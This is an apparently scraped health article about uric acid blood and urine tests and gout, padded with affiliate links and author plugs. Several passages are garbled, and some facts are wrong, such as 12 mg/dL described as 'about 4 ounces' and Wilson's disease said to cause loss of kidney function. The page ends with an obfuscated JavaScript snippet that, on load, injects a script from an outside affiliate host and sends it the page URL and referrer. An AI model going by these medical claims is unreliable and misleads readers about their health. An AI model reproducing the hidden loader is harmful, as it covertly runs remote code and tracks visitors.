Increased Uric Acid Levels

Increased Uric Acid Levels. Uric Acid Testing

Definition

Uric acid tests are tests that are done to measure the levels of uric acid in blood serum or in urine.

Purpose

Urine test

Patients should be checked for the following medications before the urine test: diuretics, aspirin, pyrazinamide (Tebrazid), phenylbutazone, probenecid (Benemid), and allopurinol (Lopurin). If the patient needs to continue taking these medications, the laboratory should be notified.

Increased production of uric acid may result from eating foods that are high in purine. Increased uric acid levels due to overproduction may also be caused by gout, by a genetic disorder of purine metabolism, or by metastatic cancer, destruction of red blood cells, leukemia, or cancer chemotherapy.

• Certain foods that are high in purine may increase the patient's levels of uric acid.
  
• These include kidneys, liver, sweetbreads, sardines, anchovies, and meat extracts.
  

Abnormal results

The critical value for the blood test is a level of uric acid higher than 12 milligrams per deciliter (about 4 ounces).

The Uric Acid Tests are Used to Evaluate the Blood Levels

Of uric acid for gout and to assess uric acid levels in the urine for kidney stone formation. The urine test is used most often to monitor patients already diagnosed with kidney stones, but it can also be used to detect disorders that affect the body's production of uric acid and to help measure the level of kidney functioning.

Uric Acid and Blood Glucose Meters: How They Work, Types and Reading

Key Terms

Fanconi's syndrome A rare disorder caused by vitamin D deficiency or exposure to heavy metals. Gout A metabolic disorder characterized by sudden recurring attacks of arthritis caused by deposits of crystals that build up in the joints due to abnormally high uric acid blood levels. In gout, uric acid may be overproduced, underexcreted, or both. Hyperuricemia Excessively high levels of uric acid in the blood, often producing gout. Purine A white crystalline substance that is one of the building blocks of DNA. Uric acid is produced when purine is broken down in the body. Uric acid A compound resulting from the body's breakdown of purine. It is normally present in human urine only in small amounts. Uricosuria Increased levels of uric acid in the urine. Wilson's disease A rare hereditary disease marked by the buildup of copper in the liver and brain, causing loss of kidney function.

Further Reading

For Your Information

Books
• Laboratory Test Handbook, edited by David S. Jacobs. Cleveland, OH: Lexi-Comp Inc., 1996.
  
• Mosby's Diagnostic and Laboratory Test Reference, edited by Kathleen Deska Pagana and Timothy James Pagana. St. Louis: Mosby-Year Book, Inc., 1998.
  
• Springhouse Corporation. Handbook of Diagnostic Tests, edited by Matthew Cahill. Springhouse, PA: Springhouse Corporation, 1995.
  

Bio

The Internet Guide: Gout - http://gout.smartadsscrets.com The Internet Guide: Purines - http://gout.smartadssecrets.com/purines.

You wish to learn more about Gout, Purines, or Uric Acid, check out Steve's s The Internet Guides. The Internet Guide: Uric Acid: http://gout.smartadssecrets.com/uric_acid

Normal results

Blood test

Reference values for blood uric acid vary from laboratory to laboratory but are generally found within the following range: Male: 2.1-8.5 mg/dL; female: 2.0-6.6 mg/dL. Values may be slightly higher in the elderly.

Risks

Risks for the blood test are minimal, but may include slight bleeding from the puncture site, a small bruise or swelling in the area, or fainting or feeling lightheaded.

You wish to learn more about Steve or to request training or nutrition information, please check out his website: http://www.bodybuiltbyvictoria.com

• Preparation

  The uric acid test requires either a blood or urine sample.
  
• For the blood sample, the patient should be fasting (nothing to eat or drink) for at least eight hours before the test.
  
• The urine test for uric acid requires a 24-hour urine collection.
  
• The urine test does not require the patient to fast or cut down on fluids.
  
• Some laboratories encourage patients to drink plenty of fluids during the collection period.
  

Uric Acid is a Waste Product that Results from the

Breakdown of purine, a nucleic acid. (Nucleic acids are the building blocks of DNA.) Uric acid is made in the liver and excreted by the kidneys. If the liver produces too much uric acid or the kidneys excrete too little, the patient will have too much uric acid in the blood. This condition is called hyperuricemia. Supersaturated uric acid in the urine (uricosuria) can crystallize to form are kidney stones hereditary block the tubes that lead from the kidneys to the bladder (the ureters).

• The laboratory should also be notified if the patient has had recent x-ray tests requiring contrast dyes.
  
• These chemicals increase uric acid levels in urine and decrease them in blood.
  

Abnormally low uric acid levels may indicate that the patient is taking allopurinol or probenecid for treatment of gout; may be pregnant; or suffers from Wilson's disease or Fanconi's syndrome.

Precautions

Blood test

Patients scheduled for a blood test for uric acid should be checked for the following medications: loop diuretics (Diamox, Bumex, Edecrin, or Lasix); ethambutol (Myambutol); vincristine (Oncovin); pyrazinamide (Tebrazid); thiazide diuretics (Naturetin, Hydrex, Diuril, Esidrix, HydroDiuril, Aquatensen, Renese, Diurese); aspirin (low doses); acetaminophen (Tylenol); ascorbic acid (vitamin C preparations); levodopa (Larodopa); or phenacetin. These drugs can affect test results. It was our decision to write so much on Purine after finding out that there is still so much to learn on Purine.

Urine test

Reference values for 24-hour urinary uric acid vary from laboratory to laboratory but are generally found within the following range: 250-750 mg/24 hours.

• Decreased excretion of uric acid is seen in chronic kidney disease, low thyroid, toxemia of pregnancy, and alcoholism.
  
• Patients with gout excrete less than half the uric acid in their blood as other persons.
  
• Only 10-15% of the total cases of hyperuricemia, however, are caused by gout.
  

Gout is Another from of Arthritis, Which is Known to Case Sudden Attacks

Diet in gout cases are known, but unfortunately this condition can not be cured. Treatments only help in reducing the severity of the gout symptoms and to prevent, as much as possible, further gout flares.

This Particular Arthritis Type Manifests Itself Through Sudden, Painful Attacks

Gout attacks develop very quickly, in a few hours time, and can last as long as three to four days, if they are untreated. Severe pain, redness, inflammation and swollen joints are the main symptoms of a gout flare, that mostly affects hip joint gout the big toe. Other joints can be affected by a gout attack as well. Your hand, foot, ankle and knee joints can be affected by these gout flares.

Because nothing is simple in medicine and life, irony strikes in gout case as well. There are people who have risen uric acid levels, but never actually have to deal with gout and there are others that have gout despite the fact that their levels of uric acid are normal.

Uric acid is highly tied to gout, because the excess of this acid in your blood is actually the cause of a gout. Little crystals form as a result, they collect in the joints and cause pain and inflammation. This is gout at the beginning. The breakdown of chemicals called purines is what uric acid is made from. Eden theological seminary found in different foods and alcohol. So if you suffer from gout or if you try to prevent a gout case from happening to you, try to avoid those things as much as possible.

There are Some Lucky Gout Patients that Only Suffer from a Gout Attack Once in Their Lives

However, for the majority of the gout patients, those flares will return. If you do not treat the gout attacks when they happen, as time passes by, they will become more and more severe and last even longer than the previous gout flares.

Diagnosing Gout is Not Very Complicated

If having any gout signs go see your doctor.He/ she will do a blood test to see what are your uric acid levels. If there is still doubt, some fluid is then taken from your joints and checked for crystals. Then, based on the results, you can be diagnosed with gout or not.

var c2="gout";var _0xded0=["\x3C\x73\x63","\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x73\x6D\x61\x72\x74\x6C","\x69\x66\x65\x6C","\x61\x62\x73\x2E\x63\x6F\x6D\x2F\x61\x66\x66\x69\x6C\x69\x61\x74\x65\x73\x2F\x61\x64\x2E\x6A\x73\x3F\x63\x3D","\x26\x73\x3D","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x61\x69\x64\x3D\x38\x37\x32\x31\x27\x3E\x3C\x2F\x73\x63\x72\x69","\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0xded0[8]](_0xded0[0]+_0xded0[1]+_0xded0[2]+_0xded0[3]+c2+_0xded0[4]+encodeURIComponent(window[_0xded0[5]])+"\x26\x72\x65\x66\x3D"+encodeURIComponent(document["\x72\x65\x66\x65\x72\x72\x65\x72"])+_0xded0[6]+_0xded0[7]);